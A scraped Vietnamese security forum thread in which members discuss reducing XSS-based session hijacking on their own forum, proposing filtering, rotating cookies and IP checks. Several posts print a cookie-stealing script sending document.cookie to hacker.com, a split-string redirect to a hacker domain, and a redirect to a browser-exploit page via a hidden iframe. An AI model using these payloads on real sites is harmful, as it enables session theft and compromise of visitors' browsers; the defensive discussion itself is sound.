Lão gamma95 luôn đặt ra những câu hỏi thông minh, ý nhị và đượm chút láu lỉnh. Vậy thì giống như ta vào một cửa hàng mua đồ, nhưng cửa hàng nhiều bụi. Nên chủ cửa hàng thiết kế một hệ thống hút bụi đặt ngoài cửa và hệ thống này sẽ có nhiệm vụ hút hết bụi bậm trên quần áo khách hàng lúc ra khỏi cửa hàng?. Hì hì. Nhưng xin hỏi lại gamma95 một câu để đựoc chỉ giáo, là: Trong quá trình nạn nhân (thành phần thứ 2) "chủ động" kết nối đến một Webserver độc hại, có "cơ cấu" chôm HTTP header+cookie, (bằng cách vô tình click chuột vào một link nào đấy trên HVA forum), hay "bị động" bị dẫn đến đó, thì cái "khối" HTTP header+cookie của nạn nhân vừa truy cập vào HVA ấy, nó "nằm" (located) ở đâu? Trên HVA forum hay trên máy của nạn nhân? trứoc khi nó bị chuyển về Webserver độc hại. Thanks for your reply! 
Chào bác PXM cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn). ko biết cháu trả lời thế đúng ý bác PMX ko? Còn về giải pháp HttpOnly cũng ko phải là một giải pháp toàn diện, vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass :D ]]> /hvaonline/posts/list/19371.html#116190 /hvaonline/posts/list/19371.html#116190 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn). ko biết cháu trả lời thế đúng ý bác PMX ko? Còn về giải pháp HttpOnly cũng ko phải là một giải pháp[color=yellow] ko toàn diện[/color], vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass :D  
ý bác là HttpOnly là giải pháp ko toàn diện đúng ko :D nếu thế thì hoàn toàn đồng ý với bác ^_^]]> /hvaonline/posts/list/19371.html#116193 /hvaonline/posts/list/19371.html#116193 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
Chào bác PXM cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn). ko biết cháu trả lời thế đúng ý bác PMX ko? Còn về giải pháp HttpOnly cũng ko phải là một giải pháp toàn diện, vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass :D  
Đúng quá đi chứ! Đúng là đúng với thưc tê, chứ không phải với ý của tôi. Tôi chỉ biết hỏi thôi mà! Hì hì. Nhưng mà nếu như vậy: - Để khắc phục, hay loại trừ lỗi XSS (gây tổn hại cho nạn nhân) thì có cần, hay có nên lọc "đầu vào" và "đầu ra" của HVA forum hay không?. Nếu "yes" thì nên lọc cái gì? - Nguyên nhân cụ thể nào khiến cho trình duyệt của ta lại "chịu" hay "phải" gửi cookie (cookie truy cập thành công vào HVA, có giá trị cho một phiên kết nối hiện hành vào HVA, thường lưu trữ trong Internet Temp. files của máy ta) đến Webserver độc hại, cùng với "HTTP GET header" truy cập đến webserver độc hại này? (Còn lỗi gốc là lỗi XSS trên HVA forum rồi đấy.) Cụ thể hơn là trình duyệt của ta lúc truy cập vào nơi có XSS vulnerability thì có chịu những "ảnh hưởng", "tổn thưong" gì hay không? Tổn thương ở đâu và tai sao? Xin chỉ giáo tiếp! ]]> /hvaonline/posts/list/19371.html#116200 /hvaonline/posts/list/19371.html#116200 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116205 /hvaonline/posts/list/19371.html#116205 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

PXMMRF wrote:
1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê).  
Vấn đề này thực ra không hạn chế được bao nhiêu vì nếu kẻ tấn công đã nắm rõ được phương thức tấn công thì cứ mỗi phiên cướp được họ sẽ ra tay và cứ thế. ngược lại cách này chúng ta phải can thiệp vào code khá nhiều. Nhưng hạn chế vẫn chưa cao.

PXMMRF wrote:
2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.  
Bàn về cách này của bác Mai ví dụ như kẻ tấn công đã có chủ ý và lỗi đó bị khai thác trong phần chữ ký chẳng hạn thì kẻ đó hoàn toàn có thể gởi một PM trực tiếp đến tài khoản có quyền quản trị cao nhất (chẳng hạn như quanlytruong) chẳng hạn thì khi (quanlytruong) đọc tin nhắn có kèm theo chữ ký thì hoàn toàn đã bị hacker cướp được. và lúc đó Hacker đang vẫn có thể khai thác với quyền tối cao.

PXMMRF wrote:
1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker.  
Cách này cũng là một biện pháp nhưng nó lại hạn chế tính năng của người truy cập, bởi vì giả sử người truy cập đang xem ở mục này vẫn có thể xem các bài viết ở mục khác đồng thời, và nếu ta hạn chế như thế sẽ gây cản trở cho họ.
2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt.  
Vấn đề này đúng là mọi người cũng đã và đang bàn tới. Có ý kiến của bạn nào đó nói là khi Mod hoặc vMod thực hiện thao tác nào đó thì ta nên có môt mục để cho họ confirm lại pass một lần nữa theo tôi cách này xem ra không được tiện cho Mod hoặc Vmod nhưng độ an toàn là rất cao và dễ triển khai về phía server. Một ý kiến khá hay. Vì thực ra hacker chỉ chiếm được phiên truy cập dựa trên XSS nhưng hacker không hề biết được mật khẩu của Vmod và Mod thì xem ra cũng bó tay. Ngoài ra có một phương thức như kiểu check IP download như của rapidshare (tức là IP xác định đó đi kèm tài khoản xác định chẳng hạn... Không biết có khả thi không? Như Với một tài khoản truy cập một thời điểm đi kèm với một Ip xác định ta chỉ thực hiện một thao tác (với rapidshare là download). Có thể Ip có thể trùng nhau nhưng cả Ip và Username trùng nhau cùng một thời điểm thì hơi bị hiếm hoặc giả cùng một username và khác Ip thì hoàn toàn là tài khoản đó đang bị tấn công. :D Thân.]]> /hvaonline/posts/list/19371.html#116212 /hvaonline/posts/list/19371.html#116212 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv link động trên web app mà Users có thể tạo ra.]]> /hvaonline/posts/list/19371.html#116238 /hvaonline/posts/list/19371.html#116238 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#116276 /hvaonline/posts/list/19371.html#116276 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

lQ wrote:
Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động. 
Oh, theo tôi nghĩ là có chứ nhỉ. Cái link động được che đậy sau cái ảnh trong một thẻ script.]]> /hvaonline/posts/list/19371.html#116281 /hvaonline/posts/list/19371.html#116281 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116288 /hvaonline/posts/list/19371.html#116288 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?  @gamma95: oki you re right! Hồi trước mình làm bộ lọc là lọc chung cho SQL và XSS. Lúc đó cũng đã nhận ra một số bất cập trong việc xử lý XSS như gama đã nói. @PMMM jj đó: Theo bồ không check đầu vào, đầu ra thì liệu có khắc phục triệt để XSS? Cookie, HTTP header của bồ đều có thể giả mạo.]]> /hvaonline/posts/list/19371.html#116290 /hvaonline/posts/list/19371.html#116290 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

done wrote:

lQ wrote:
Theo ngu ý của tôi thì admin nên deny tất cả những link động trên web app mà Users có thể tạo ra.  
Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động. 
Oh, theo tôi nghĩ là có chứ nhỉ. Cái link động được che đậy sau cái ảnh trong một thẻ script. 
hello done! nếu Attacker chèn như thế này thì liệu có bypass được cái lọc link động của bạn ko?? Code:
<script>
var a='http://';
var b='www.';
var c='hacker';
var d='.net';
window.location=a+b+c+d;
</script>
]]> /hvaonline/posts/list/19371.html#116293 /hvaonline/posts/list/19371.html#116293 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116304 /hvaonline/posts/list/19371.html#116304 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi :( 
Đã nói về bảo mật thực sự không hề có cách gì gọi là triệt để cả vì không ai lường trước hết được tất cả các khả năng có thể xảy ra. Chúng ta chỉ xem xét các cách nào khả thi nhất và tính dễ triển khai nhất đồng thời có thể đáp ứng đủ nhu cầu của người dùng. Nhưng xét cho cùng khâu code vẫn là quan trọng nhất vì người có kinh nghiệm về bảo mật thì chú trọng ngay từ ở bước này có thể nói hạn chế rất nhiều các nguy cơ có thể xảy ra. Suy cho cùng kiểm tra tốt các dữ liệu vào ra đã là một bước thành công lớn để bảo mật cho một ứng dụng. Thân.]]> /hvaonline/posts/list/19371.html#116308 /hvaonline/posts/list/19371.html#116308 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi :( 
Chủ đề này có ý giới hạn chỉ trong phần "session hijacking" và giả định xss vẫn còn thì phải làm thế nào để giảm thiểu dung hại chớ nó không có mục tiêu bàn cách khai thác hoặc khắc phục xss. Thật ra, khi thảo luận về các hướng có thể giảm thiểu dung hại của session hijacking, chúng ta có thể đi đến chiều sâu của giao thức (HTTP) và xác định được những điểm yếu, thiếu sót của giao thức hiện tại, nhìn ra những khả năng có thể (hoặc cần) khắc phục trong phiên bản tới của giao thức. Đây chính là hướng đào sâu một cách thấu đáo để khắc phục bảo mật (hoặc ngược lại, đào sâu một cách thấu đáo để tìm ra những yếu điểm thuộc nền tảng để khai thác). Thân mến.]]> /hvaonline/posts/list/19371.html#116333 /hvaonline/posts/list/19371.html#116333 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server

Look2Me wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ? 
@gamma95: oki you re right! Hồi trước mình làm bộ lọc là lọc chung cho SQL và XSS. Lúc đó cũng đã nhận ra một số bất cập trong việc xử lý XSS như gama đã nói. @PMMM jj đó: Theo bồ không check đầu vào, đầu ra thì liệu có khắc phục triệt để XSS? Cookie, HTTP header của bồ đều có thể giả mạo. 
Tôi đã nói là không filtering đầu vào đầu ra cụ thể như thế nào đâu nhỉ? Những câu hỏi dẫn dắt của tôi là để đi đến một nhận định là: Khi một web application, trong trừong hợp đang bàn là HVA forum và có thể kể cả Apache web server nữa, đã mắc lỗi XSS rồi, thì việc lọc đầu vào và đầu ra trên HVA forum-webserver không còn tác dụng cứu nạn nhân nữa. Nghĩa là lúc này không thể áp dụng việc lọc, thí dụ content filter chẳng hạn, để cứu cho nạn nhân (tức là user đã xem hay nhấp một link trên một URL đã mắc lỗi XSS) rồi sẽ không bị hacker chiếm đoạt các thông tin cá nhân, trong đó có cookie nữa. Lọc lúc này thì đã muộn, vì một malicious script của lão gamma95 đã đựoc insert thành công vào signature rồi. Tuy nhiên là tôi lại rất coi trọng, tuyệt đối coi trọng là khác, yêu cầu lọc input và output của một webserver, đặc biệt là input. Tất cả những đề nghị của tôi ở post trên, thí dụ không cho download các file hình ảnh đang hosting trên một webserver khác về HVA forum, hay không cho thiết lập các link kết nối ở các khu vực nhạy cảm của HVAforum để user đang xem forum có thể kết nối với một webserver bên ngoài..., thì để thưc hiện điều đó phải Input content filtering, chứ còn gì nữa. Nhưng trứoc hết phải phát hiện hết các lỗi XSS, khắc phục, rồi thưc hiện Filtering. Hoặc ngay bây giờ cũng nên áp dụng content filtering để ngăn các lỗi XSS mới hay lỗi cũ bị tái lạm dụng. Nhưng không chỉ cần lọc Input output, ngoài ra còn phải harden hệ thống - thí dụ encoded các HTML entries chẳng hạn... Nếu ta content filter tốt và config. tốt từ trước, thì gamma95 không thể insert vào vùng "signature " một con gián bò đi, lại ngộ nghĩnh, nhưng nó đã embedded một malicious script...như vừa qua. (gamma95 làm như vậy chỉ là check bảo mật, góp ý cho HVA, không có bất cứ ý đồ xấu nào) Nhưng XSS là một vấn đề phức tạp, rối rắm. Nói thì dễ, nhưng làm thì khó. Rất khó phát hiện hết các lỗi XSS trên từng URL của HVA forum, vì HVA có gần trăm ngàn URL như vậy. Với XSS thì không có một "Patch" nào hết. Phải sửa tại chỗ và từng chỗ. ]]> /hvaonline/posts/list/19371.html#116344 /hvaonline/posts/list/19371.html#116344 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116411 /hvaonline/posts/list/19371.html#116411 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#116423 /hvaonline/posts/list/19371.html#116423 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Có vẻ như HTTP authentication cũng ko thể chống đc XSS ... 
Ok, nhờ bạn boom_it phân tích thêm về nhận định này :D ]]> /hvaonline/posts/list/19371.html#116436 /hvaonline/posts/list/19371.html#116436 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv Chấp hành ý kiến của đồng chí "lãnh đạo" conmale, ta chỉ bàn về chủ đề đã được nêu ra. Tuy đôi chỗ có thể "lan man" chút đỉnh, nhưng cũng hướng về chủ đề trên. Mà ngay chỉ bàn về chủ đề này thôi, cũng có rất nhiều vấn đề hấp dẫn.

gamma95 wrote:
@bác PXM: cháu ví dụ: HVA bị XSS và hacker chèn đoạn này vào chữ ký: <script> window.location="http://hacker.com/cookie.php?cookie="+document.cookie;</script>thì bản thân function "document.cookie" có chức năng đọc cookie của HVA, sau đó giá trị của cookie đóng vai trò là một @argument và gửi đến script đọc giá trị @argument đó và ghi vào file log.txt của hacker thôi. Còn câu hỏi của bác PMX là có chịu tổn thương gì ko thì theo cháu muốn trả lời được thì phải xem XSS ngoài chuyện lấy cookie ra thì có thể làm đc những gì? Ví dụ như Phishing, pharming, cài mã độc, hay dùng những 0-day exploit của browser etc ?? 
Lỗi trên HAV forum, tại phần signature, mà gamma95 khai thác thành công, tức là gamma95 đã vào được HVA dưới tên của nạn nhân (môt số Mod. trong HVA), là thuộc lỗi XSS Non-Persistent. Trong đó ta thấy rõ ràng 3 thành phần: HVA forum (1), nạn nhân (2)- là ai đó đã từng nhấp chuột vào con gián chạy, đựoc insert vào signature của gamma85- và hacker-gamma95 (3), chủ nhân trang web http://hacker.com ở trên. Gamma95 chiếm đựoc quyển vào HVA forum của một phiên kết nối. Tuy nhiên vể tình tiết diễn biến trong quá trình exploiting scenarios của gamma95 có khác đôi chút so với các scenarios của các quá trình khai thác lỗi Non-Persistent XSS điển hình khác. Nhưng nó cơ bản vẫn là quá trình khác thác một lỗi Non-Persistent XSS. Với quá trình này gamma95 đã lấy đựoc cookie của nhiều nạn nhân. Những cookie này lưu trong trình duyệt nạn nhân (nằm trong các files liên quan tại Documents and Settings/Administrator/ ). Xin chú ý là hacker chỉ có thể lấy đựoc các thông tin cá nhân (trong đó có cookie) lưu trong trình duyệt của nạn nhân và những thông tin này phải là của phiên kết nối mà nạn nhân đang thưc hiện trên webserver (ở đây là HVA forum) có lỗi XSS và khi nạn nhân vẫn còn "đứng" trong webserver. Hacker không thể lấy đựoc các thông tin khác lưu trong trình duyệt, thí dụ cookie của báo Tuổi trẻ mà trước đó nạn nhân đã từng truy cập để xem. Nhưng về nguyên tắc là hacker có thể lấy đựoc mọi thông tin về phiên kết nối đến HVA forum, lưu trong trình duyệt nạn nhân. Gamma95 chỉ tạo một script lấy cookie. Vì theo gamma95 thế là đủ, thưc tế cũng như vậy. Trình duyệt của nạn nhân khi truy cập đến webserver của hacker (thành phần thứ 3) thì không bị webserver gây tổn thưong gì cả, nhưng nó chỉ cho phép môt malicious script mà hacker embedded trên URL của webserver, "chạy" (execute) trong nó và do đó script thu thập từ trình duyệt các thông tin cần thiết. Khi đọc các file độc hại trên webserver có lỗi XSS (thí dụ HVAforum) trình duyệt có thể bị tổn thương. Nhưng cụ thể quá trình diễn ra chi tiết như thế nào thì khá phức tạp, khó hiểu và cũng không có tài liệu nào nói rõ. Cần ngâm cứu thêm. (Ai biết rõ xin chỉ giáo) Bây giờ xin đặt một câu hỏi có vẻ "hấp dẫn và quan trọng đây" với gamma95 và các bạn khác là: Nếu bây giờ (bây giờ là 10.30 AM, Feb.24, 2008) nếu giả dụ HVA chưa khắc phục lỗi XSS tại "signature" trên forum, (nghĩa là gamma95 vẫn có thể insert môt con "gián chay" vào khu signature của mình), thì với cách khai thác đúng như trên của gamma95, gamma95 có còn chiếm đựoc quyền phiên kết nối của môt nạn nhân hay không? Tại sao? ]]> /hvaonline/posts/list/19371.html#116443 /hvaonline/posts/list/19371.html#116443 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:

boom_jt wrote:
Có vẻ như HTTP authentication cũng ko thể chống đc XSS ... 
Ok, nhờ bạn boom_it phân tích thêm về nhận định này :D  
Nói ra xấu hổ, chứ việc dùng xss để bypass HTTP authentication boom_jt cũng chưa nắm rõ á :"> có điều nếu ai muốn nghiên cứu việc này thì boom_jt có tài liệu và video demo hẳn hoi đây: link: http://www.securiteam.com/tools/5TP0D0AM0M.html
A Short Demonstration Video: http://ferruh.mavituna.com/blogs/xsstunnelling-video.zip Video shows to exploit a permanent XSS in wordpress and bypass Basic Auth on the fly by XSS Tunnel. 
@bác rxmmrf:
Khi đọc các file độc hại trên webserver có lỗi XSS (thí dụ HVAforum) trình duyệt có thể bị tổn thương 
có thể boom_jt hiểu thì sẽ là:
<script> window.location="http://hacker.com/khaithacloitrinhduyet.htm"</script> 
trong đó khaithacloitrinhduyet.htm là 1 file html đơn giản có chứa mã khai thác của 1 lỗi BOF nào đó hacker tìm thấy trên milw0rm chẳng hạn, khi đó máy tính victim sẽ thực thi đoạn shell code do hacker đặt trong file html trên -> bị "tổn thương" (hì theo cách nói của bác ^^) Nói thêm chút là có thể khai thác mà người dùng hoàn toàn ko nhận ra sự thay đổi bằng cách chèn 1 iframe với height=width=0 và src chính là trang html trên... Về vấn đề khai thác xss tại thời điểm này, thì theo như bác gamma có nhận thấy sự xuất hiện của 1 biến combohash trong cookie do bác conmale đưa thêm vào, như vậy với cách khai thác là chỉ thay cookie thì chưa chắc đã thành công. File cookie.php của bác gamma sẽ phải có thêm chức năng lưu lại http header từ browser của victim gửi kèm, từ đó sử dụng http header này cùng với cookie thu được thì may ra sẽ thành công chăng :D]]> /hvaonline/posts/list/19371.html#116447 /hvaonline/posts/list/19371.html#116447 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
.... Về vấn đề khai thác xss tại thời điểm này, thì theo như bác gamma có nhận thấy sự xuất hiện của 1 biến combohash trong cookie do bác conmale đưa thêm vào, như vậy với cách khai thác là chỉ thay cookie thì chưa chắc đã thành công. File cookie.php của bác gamma sẽ phải có thêm chức năng lưu lại http header từ browser của victim gửi kèm, từ đó sử dụng http header này cùng với cookie thu được thì may ra sẽ thành công chăng :D 
Đúng hướng rồi đó :P . Tiếp tục khai triển đi bà con :).]]> /hvaonline/posts/list/19371.html#116455 /hvaonline/posts/list/19371.html#116455 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv thứ nhất đến HVA và chưa hề nhận được một cookie nào cả. 2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1 3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy). Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị. Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không? Mời bà con bàn. Thân.]]> /hvaonline/posts/list/19371.html#118184 /hvaonline/posts/list/19371.html#118184 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:
...đồng thời set một cookie "đặc biệt"...  
có thể giải thích chữ đặc biệt như thế nào nhỉ, là không phải một cookie bình thường chỉ chứa SID và các ttin thiết lập. là đang đề cập cụ thể cookie của HVA hiện tại? Hay là tính chất thay đổi liên tục vừa đc đưa ra?

conmale wrote:
Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị.  
Với cơ chế như trên, user B sẽ vào đc session bằng cookie lấy dc nếu nó còn là mới nhất. Lúc này, user A sẽ không thể duyệt tiếp vì cookie đang nắm đã out-of-date, nên sẽ cố đăng nhập lại -> Session sẽ bị reset, B bị văng ra,.... Bên cạnh đó vấn đề nảy sinh là: 1 user bình thường mở đồng thời (trong 1 thời gian ngắn) 2 request đến HVA thì request sau sẽ vô dụng nếu request trước đã có respond. Để giải quyết điều này thì HVA có thể trả về cho request thứ 2 một thông báo tạm thời chờ đợi và wwwect lại trong vài giây để có cookie mới hợp lệ, hoặc là HVA cho phép xác nhận cookie trễ, bằng cách delay hiệu lực hóa cookie mới vài giây chẳng hạn.]]> /hvaonline/posts/list/19371.html#118195 /hvaonline/posts/list/19371.html#118195 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:
Khơi thêm một tí để bàn cho vui :P Giả sử chúng ta có một trường hợp xử lý như sau: 1) User A gởi request thứ nhất đến HVA và chưa hề nhận được một cookie nào cả. 2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1 3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy). Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị. Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không? Mời bà con bàn. Thân. 
Theo em thằng Thằng User B nó vẫn exploit bình thường vì nó đã tóm được cookie thứ N ( là mới nhất) sau đó nó nhanh tay thực hiện một cú request khác đến HVA để lấy cái Cookie thứ N+1. Tại sao phải nhanh tay, vì nếu không nhanh tay thì thằng Victim A sau khi bị mất Cookie thứ N nó duyệt một link khác trên HVA thì Cookie thứ N của thằng Hacker B trở nên vô giá trị :D. Đây cũng là một trong những phương pháp tốt để chống kiểu tấn công "Session fixation"]]> /hvaonline/posts/list/19371.html#118197 /hvaonline/posts/list/19371.html#118197 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:

conmale wrote:
Khơi thêm một tí để bàn cho vui :P Giả sử chúng ta có một trường hợp xử lý như sau: 1) User A gởi request thứ nhất đến HVA và chưa hề nhận được một cookie nào cả. 2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1 3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy). Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị. Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không? Mời bà con bàn. Thân. 
Theo em thằng Thằng User B nó vẫn exploit bình thường vì nó đã tóm được cookie thứ N ( là mới nhất) sau đó nó nhanh tay thực hiện một cú request khác đến HVA để lấy cái Cookie thứ N+1. Tại sao phải nhanh tay, vì nếu không nhanh tay thì thằng Victim A sau khi bị mất Cookie thứ N nó duyệt một link khác trên HVA thì Cookie thứ N của thằng Hacker B trở nên vô giá trị :D. Đây cũng là một trong những phương pháp tốt để chống kiểu tấn công "Session fixation" 
nếu bên client thêm 1 đoạn javascript connect đến hva để nhận sessionID mới thì sao nhỉ ?, sau khoảng thời gian delay phù hợp nào đó ? ]]> /hvaonline/posts/list/19371.html#118216 /hvaonline/posts/list/19371.html#118216 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118219 /hvaonline/posts/list/19371.html#118219 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118231 /hvaonline/posts/list/19371.html#118231 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118235 /hvaonline/posts/list/19371.html#118235 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
@secmask: tui có nói đến cụm từ "nhanh tay" :D, còn chuyện một đoạn javascript để connect đến HVA trong khoảng thời gian delay nào đó ... thì attacker có thể disable đoạn script đó cũng bằng "XSS exploit ". Cụ thể là một đoạn javascript set lại thời gian delay phía victim ( hoặc Disable luôn) sau đó mới chôm cookie bình thường :D 
Hiện tại HVA có dùng 1 iframe ở cuối để ping về HVA sau interval 600s, có thể kết hợp cái này để làm mới cookie mà không cần đoạn javascrip secmask nói.]]> /hvaonline/posts/list/19371.html#118244 /hvaonline/posts/list/19371.html#118244 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
@boom_it: đồng chí nói rõ cái công nghệ "tự động gởi tới webserver" đc ko? :D 
